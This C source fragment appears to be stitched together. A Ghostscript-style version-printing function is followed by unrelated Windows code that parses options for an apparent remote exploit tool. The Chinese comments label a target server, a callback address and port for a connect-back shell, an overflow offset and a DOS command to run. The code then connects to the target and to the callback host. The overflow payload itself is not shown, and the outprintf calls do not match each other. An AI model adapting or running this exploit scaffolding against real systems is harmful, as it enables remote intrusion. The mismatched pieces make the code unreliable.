void
printf_program_ident(const gs_memory_t *mem, const char *program_name, long revision_number)
{
if (program_name)
outprintf(mem, (revision_number ? "%s " : "%s"), program_name);
if (revision_number) {
int fpart = revision_number % 100;
outprintf(mem, "%d.%02d", (int)(revision_number / 100), fpart);
}
}
void getvar(int argc, char **argv)
{
unsigned int i;
WSADATA wsaData;
int result;
struct sockaddr_in s_in;
struct hostent *he;
int fd;
u_short port=WEBPORT;
SOCKET d_ip;
exp_name=argv[0];
for(i=strlen(exp_name);i>0;--i)
{
if(*(char *)(exp_name+i)=='\\')
{
exp_name=exp_name+i+1;
break;
}
}
for ( i = 1; i < argc; i++ )
{
/*
* 同时支持-和/两种引入命令行参数的方式
*/
if ( ( argv[i][0] == '-' ) || ( argv[i][0] == '/' ) )
{
/*
* 在这个字节上，大小写不敏感
*/
switch ( tolower( argv[i][1] ) )
{
case 's':
/*
* 服务地址
*/
server = argv[++i];
break;
case 'p':
/*
* 服务端口
*/
s_port = argv[++i];
break;
case 'c':
/*
* 回联地址
*/
callback_address = argv[++i];
break;
case 'o':
/*
* 回联端口
*/
callback_port = argv[++i];
break;
case 'u':
/*
* 网页文件连接
*/
urlfile = argv[++i];
break;
case 'f':
/*
* 文件名
*/
file = argv[++i];
break;
case 'v':
/*
* 系统版本
*/
version = argv[++i];
break;
case 't':
/*
* 溢出点偏移
*/
offsetstr = argv[++i];
if(offsetstr!=NULL) offset=atoi(offsetstr);
break;
case 'r':
/*
* 代理地址
*/
proxy = argv[++i];
break;
case 'd':
/*
* DOS命令
*/
doscmd = argv[++i];
break;
case 'h':
case '?':
default:
usage( argv[0] );
} /* end of switch */
}
else
{
usage( argv[0] );
}
} /* end of for */
if(server==NULL) usage( argv[0] );
result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
strout("Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
if(callback_address!=NULL){
d_ip = inet_addr(callback_address);
if(d_ip==-1)
{
he = gethostbyname(callback_address);
if(!he)
{
WSACleanup( );
outprintf("\r\nCan't get the ip of %s !\r\n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
port=CALLBACK_PORT;
if(callback_port!=NULL) port=atoi(callback_port);
if(port==0) port=CALLBACK_PORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=TIMEOUT;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
s_in.sin_addr.s_addr = d_ip;
if(connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
outprintf("\r\nConnect %s err!\r\n",callback_address);
exit(1);
}
else callback_socket=fd;
}
for(i=0;i<strlen(server);++i)
{
if(server[i]!=' ') break;
}
if(i<strlen(server)) server+=i;
for(i=0;i+3<strlen(server);++i){
if(server[i]==':'){
if(server[i+1]=='\\'||server[i+1]=='/'){
if(server[i+2]=='\\'||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i<=strlen(server);++i){
if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
}
if(proxy!=NULL) d_ip=inet_addr(proxy);
else d_ip = inet_addr(server);
if(d_ip==-1)
{
if(proxy!=NULL) he = gethostbyname(proxy);
else he = gethostbyname(server);
if(!he)
{
WSACleanup( );
outprintf("\r\nCan't get the ip of %s !\r\n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(s_port!=NULL) port=atoi(s_port);
if(port<=0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=TIMEOUT;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
s_in.sin_addr.s_addr = d_ip;
if(connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
outprintf("\r\nConnect %s err!\r\n",server);
exit(1);
}
else server_socket=fd;
printinfo();
}
void usage ( char *arg )
{
outprintf("\r\nUsage: %s [-h] [-s server] [-p port] [-c callback_address] [-o callback_port]\r\n[-u urlfile] [-r proxy] [-f file] [-t offset] [-d doscmd] [-v system_version]\r\n",arg );
exit( EXIT_FAILURE );
} /* end of usage */